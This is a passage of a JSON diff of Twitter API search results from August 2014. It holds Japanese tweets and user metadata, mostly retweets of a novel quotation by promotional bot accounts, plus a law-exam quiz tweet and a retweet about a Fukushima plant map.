"id": 505871615125491700, + "id_str": "505871615125491712", + "text": "一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるのかもしれません。 by神様のカルテ、夏川草介", + "source": "幸せの☆お守り", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2745121514, + "id_str": "2745121514", + "name": "幸せの☆お守り", + "screen_name": "shiawaseomamori", + "location": "", + "description": "自分が幸せだと周りも幸せにできる! \r\nそんな人生を精一杯生きるために必要な言葉をお届けします♪ \r\nいいなと思ったら RT & 相互フォローで、お願いします。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 213, + "friends_count": 991, + "listed_count": 0, + "created_at": "Tue Aug 19 14:45:19 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 349, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2745121514/1408459730", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [ + { + "screen_name": "shiawaseomamori", + "name": "幸せの☆お守り", + "id": 2745121514, + "id_str": "2745121514", + "indices": [ + 3, + 19 + ] + } + ] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:29:04 +0000 2014", + "id": 505874877148958700, + "id_str": "505874877148958721", + "text": "RT @shiawaseomamori: 一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるの…", + "source": "美し過ぎる★色鉛筆アート", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2740047343, + "id_str": "2740047343", + "name": "美し過ぎる★色鉛筆アート", + "screen_name": "bi_iroenpitu", + "location": "", + "description": "ほんとにコレ色鉛筆なの~? \r\n本物と見間違える程のリアリティを御覧ください。 \r\n気に入ったら RT & 相互フォローお願いします♪", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 321, + "friends_count": 1990, + "listed_count": 0, + "created_at": "Sun Aug 17 16:15:05 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 396, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/501039950972739585/isigil4V_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/501039950972739585/isigil4V_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2740047343/1408292283", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweeted_status": { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:16:06 +0000 2014", + "id": 505871615125491700, + "id_str": "505871615125491712", + "text": "一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるのかもしれません。 by神様のカルテ、夏川草介", + "source": "幸せの☆お守り", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2745121514, + "id_str": "2745121514", + "name": "幸せの☆お守り", + "screen_name": "shiawaseomamori", + "location": "", + "description": "自分が幸せだと周りも幸せにできる! \r\nそんな人生を精一杯生きるために必要な言葉をお届けします♪ \r\nいいなと思ったら RT & 相互フォローで、お願いします。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 213, + "friends_count": 991, + "listed_count": 0, + "created_at": "Tue Aug 19 14:45:19 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 349, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2745121514/1408459730", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [ + { + "screen_name": "shiawaseomamori", + "name": "幸せの☆お守り", + "id": 2745121514, + "id_str": "2745121514", + "indices": [ + 3, + 19 + ] + } + ] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:29:03 +0000 2014", + "id": 505874876465295360, + "id_str": "505874876465295361", + "text": "【H15-9-4】道路を利用する利益は反射的利益であり、建築基準法に基づいて道路一の指定がなされている私道の敷地所有者に対し、通行妨害行為の排除を求める人格的権利を認めることはできない。→誤。", + "source": "twittbot.net", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 1886570281, + "id_str": "1886570281", + "name": "行政法過去問", + "screen_name": "gyosei_goukaku", + "location": "", + "description": "行政書士の本試験問題の過去問(行政法分野)をランダムにつぶやきます。問題は随時追加中です。基本的に相互フォローします。※140字制限の都合上、表現は一部変えてあります。解説も文字数が可能であればなるべく…。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 1554, + "friends_count": 1772, + "listed_count": 12, + "created_at": "Fri Sep 20 13:24:29 +0000 2013", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 14565, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/378800000487791870/0e45e3c089c6b641cdd8d1b6f1ceb8a4_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/378800000487791870/0e45e3c089c6b641cdd8d1b6f1ceb8a4_normal.jpeg", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 0, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:29:03 +0000 2014", + "id": 505874876318511100, + "id_str": "505874876318511104", + "text": "RT @shiawaseomamori: 一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるの…", + "source": "K点越えの発想力!!", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2744863153, + "id_str": "2744863153", + "name": "K点越えの発想力!!", + "screen_name": "kgoehassou", + "location": "", + "description": "いったいどうやったら、その領域にたどりつけるのか!? \r\nそんな思わず笑ってしまう別世界の発想力をお届けします♪ \r\nおもしろかったら RT & 相互フォローで、お願いします。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 76, + "friends_count": 957, + "listed_count": 0, + "created_at": "Tue Aug 19 13:00:08 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 341, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/501715651686178816/Fgpe0B8M_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/501715651686178816/Fgpe0B8M_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2744863153/1408453328", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweeted_status": { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:16:06 +0000 2014", + "id": 505871615125491700, + "id_str": "505871615125491712", + "text": "一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるのかもしれません。 by神様のカルテ、夏川草介", + "source": "幸せの☆お守り", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2745121514, + "id_str": "2745121514", + "name": "幸せの☆お守り", + "screen_name": "shiawaseomamori", + "location": "", + "description": "自分が幸せだと周りも幸せにできる! \r\nそんな人生を精一杯生きるために必要な言葉をお届けします♪ \r\nいいなと思ったら RT & 相互フォローで、お願いします。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 213, + "friends_count": 991, + "listed_count": 0, + "created_at": "Tue Aug 19 14:45:19 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 349, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2745121514/1408459730", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [ + { + "screen_name": "shiawaseomamori", + "name": "幸せの☆お守り", + "id": 2745121514, + "id_str": "2745121514", + "indices": [ + 3, + 19 + ] + } + ] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:29:03 +0000 2014", + "id": 505874875521581060, + "id_str": "505874875521581056", + "text": "RT @shiawaseomamori: 一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるの…", + "source": "血液型の真実2", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2698625690, + "id_str": "2698625690", + "name": "血液型の真実", + "screen_name": "ketueki_sinjitu", + "location": "", + "description": "やっぱりそうだったのか~♪\r\n意外な、あの人の裏側を見つけます。\r\n面白かったらRT & 相互フォローでみなさん、お願いします♪", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 193, + "friends_count": 1785, + "listed_count": 1, + "created_at": "Fri Aug 01 16:11:40 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 769, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/495241446706790400/h_0DSFPG_normal.png", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/495241446706790400/h_0DSFPG_normal.png", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2698625690/1406911319", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweeted_status": { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:16:06 +0000 2014", + "id": 505871615125491700, + "id_str": "505871615125491712", + "text": "一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるのかもしれません。 by神様のカルテ、夏川草介", + "source": "幸せの☆お守り", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2745121514, + "id_str": "2745121514", + "name": "幸せの☆お守り", + "screen_name": "shiawaseomamori", + "location": "", + "description": "自分が幸せだと周りも幸せにできる! \r\nそんな人生を精一杯生きるために必要な言葉をお届けします♪ \r\nいいなと思ったら RT & 相互フォローで、お願いします。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 213, + "friends_count": 991, + "listed_count": 0, + "created_at": "Tue Aug 19 14:45:19 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 349, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2745121514/1408459730", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [ + { + "screen_name": "shiawaseomamori", + "name": "幸せの☆お守り", + "id": 2745121514, + "id_str": "2745121514", + "indices": [ + 3, + 19 + ] + } + ] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:29:03 +0000 2014", + "id": 505874874712072200, + "id_str": "505874874712072192", + "text": "RT @shiawaseomamori: 一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるの…", + "source": "やっぱり神が??を作る時", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2714868440, + "id_str": "2714868440", + "name": "やっぱり神が??を作る時", + "screen_name": "yahari_kamiga", + "location": "", + "description": "やっぱり今日も、神は何かを作ろうとしています 笑。 どうやって作っているのかわかったら RT & 相互フォローで みなさん、お願いします♪", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 243, + "friends_count": 1907, + "listed_count": 0, + "created_at": "Thu Aug 07 16:12:33 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 590, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/497416102108884992/NRMEbKaT_normal.png", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/497416102108884992/NRMEbKaT_normal.png", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2714868440/1407428237", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweeted_status": { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:16:06 +0000 2014", + "id": 505871615125491700, + "id_str": "505871615125491712", + "text": "一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるのかもしれません。 by神様のカルテ、夏川草介", + "source": "幸せの☆お守り", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2745121514, + "id_str": "2745121514", + "name": "幸せの☆お守り", + "screen_name": "shiawaseomamori", + "location": "", + "description": "自分が幸せだと周りも幸せにできる! \r\nそんな人生を精一杯生きるために必要な言葉をお届けします♪ \r\nいいなと思ったら RT & 相互フォローで、お願いします。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 213, + "friends_count": 991, + "listed_count": 0, + "created_at": "Tue Aug 19 14:45:19 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 349, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2745121514/1408459730", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [ + { + "screen_name": "shiawaseomamori", + "name": "幸せの☆お守り", + "id": 2745121514, + "id_str": "2745121514", + "indices": [ + 3, + 19 + ] + } + ] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:29:03 +0000 2014", + "id": 505874874275864600, + "id_str": "505874874275864576", + "text": "RT @takuramix: 福島第一原発の構内地図がこちら。\nhttp://t.co/ZkU4TZCGPG\nどう見ても、1号機。\nRT @Lightworker19: 【大拡散】  福島第一原発 4号機 爆発動画 40秒~  http://t.co/lmlgp38fgZ", + "source": "ツイタマ", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 62525372, + "id_str": "62525372", + "name": "NANCY-MOON☆ひよこちゃん☆", + "screen_name": "nancy_moon_703", + "location": "JAPAN", + "description": "【無断転載禁止・コピペ禁止・非公式RT禁止】【必読!】⇒ http://t.co/nuUvfUVD 今現在活動中の東方神起YUNHO&CHANGMINの2人を全力で応援しています!!(^_-)-☆ ※東方神起及びYUNHO&CHANGMINを応援していない方・鍵付ユーザーのフォローお断り!", + "url": null, + "entities": { + "description": { + "urls": [ + { + "url": "http://t.co/nuUvfUVD", + "expanded_url": "http://goo.gl/SrGLb", + "display_url": "goo.gl/SrGLb", + "indices": [ + 29, + 49 + ] + } + ] + } + }, + "protected": false, + "followers_count": 270, + "friends_count": 328, + "listed_count": 4, + "created_at": "Mon Aug 03 14:22:24 +0000 2009", + "favourites_count": 3283, + "utc_offset": 32400, + "time_zone": "Tokyo", + "geo_enabled": false, + "verified": false, + "statuses_count": 180310, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "642D8B", + "profile_background_image_url": "http://pbs.twimg.com/profile_background_images/470849781397336064/ltM6EdFn.jpeg", + "profile_background_image_url_https": "https://pbs.twimg.com/profile_background_images/470849781397336064/ltM6EdFn.jpeg", + "profile_background_tile": true, + "profile_image_url": "http://pbs.twimg.com/profile_images/3699005246/9ba2e306518d296b68b7cbfa5e4ce4e6_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/3699005246/9ba2e306518d296b68b7cbfa5e4ce4e6_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/62525372/1401094223", + "profile_link_color": "FF0000", + "profile_sidebar_border_color": "FFFFFF", + "profile_sidebar_fill_color": "F065A8", + "profile_text_color": "080808", + "profile_use_background_image": true, + "default_profile": false, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweeted_status": { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sat Aug 30 21:21:33 +0000 2014", + "id": 505827689660313600, + "id_str": "505827689660313600", + "text": "福島第一原発の構内地図がこちら。\nhttp://t.co/ZkU4TZCGPG\nどう見ても、1号機。\nRT @Lightworker19: 【大拡散】  福島第一原発 4号機 爆発動画 40秒~  http://t.co/lmlgp38fgZ", + "source": "TweetDeck", + "truncated": false, + "in_reply_to_status_id": 505774460910043140, + "in_reply_to_status_id_str": "505774460910043136", + "in_reply_to_user_id": 238157843, + "in_reply_to_user_id_str": "238157843", + "in_reply_to_screen_name": "Lightworker19", + "user": { + "id": 29599253, + "id_str": "29599253", + "name": "タクラミックス", + "screen_name": "takuramix", + "location": "i7", + "description": "私の機能一覧:歌う、演劇、ネットワークエンジニア、ライター、プログラマ、翻訳、シルバーアクセサリ、……何をやってる人かは良くわからない人なので、「機能」が欲しい人は私にがっかりするでしょう。私って人間に御用があるなら別ですが。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 5136, + "friends_count": 724, + "listed_count": 335, + "created_at": "Wed Apr 08 01:10:58 +0000 2009", + "favourites_count": 21363, + "utc_offset": 32400, + "time_zone": "Tokyo", + "geo_enabled": false, + "verified": false, + "statuses_count": 70897, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/2049751947/takuramix1204_normal.jpg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/2049751947/takuramix1204_normal.jpg", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 1, + "favorite_count": 1, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [ + { + "url": "http://t.co/ZkU4TZCGPG", + "expanded_url": "http://www.tepco.co.jp/nu/fukushima-np/review/images/review1_01.gif", + "display_url": "tepco.co.jp/nu/fukushima-n…", + "indices": [ + 17, + 39 + ] + }, + { + "url": "http://t.co/lmlgp38fgZ", + "expanded_url": "http://youtu.be/gDXEhyuVSDk", + "display_url": "youtu.be/gDXEhyuVSDk", + "indices": [ + 99, + 121 + ] + } + ], + "user_mentions": [ + { + "screen_name": "Lightworker19", + "name": "Lightworker", + "id": 238157843, + "id_str": "238157843", + "indices": [ + 54, + 68 + ] + } + ] + }, + "favorited": false, + "retweeted": false, + "possibly_sensitive": false, + "lang": "ja" + }, + "retweet_count": 1, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [ + { + "url": "http://t.co/ZkU4TZCGPG", + "expanded_url": "http://www.tepco.co.jp/nu/fukushima-np/review/images/review1_01.gif", + "display_url": 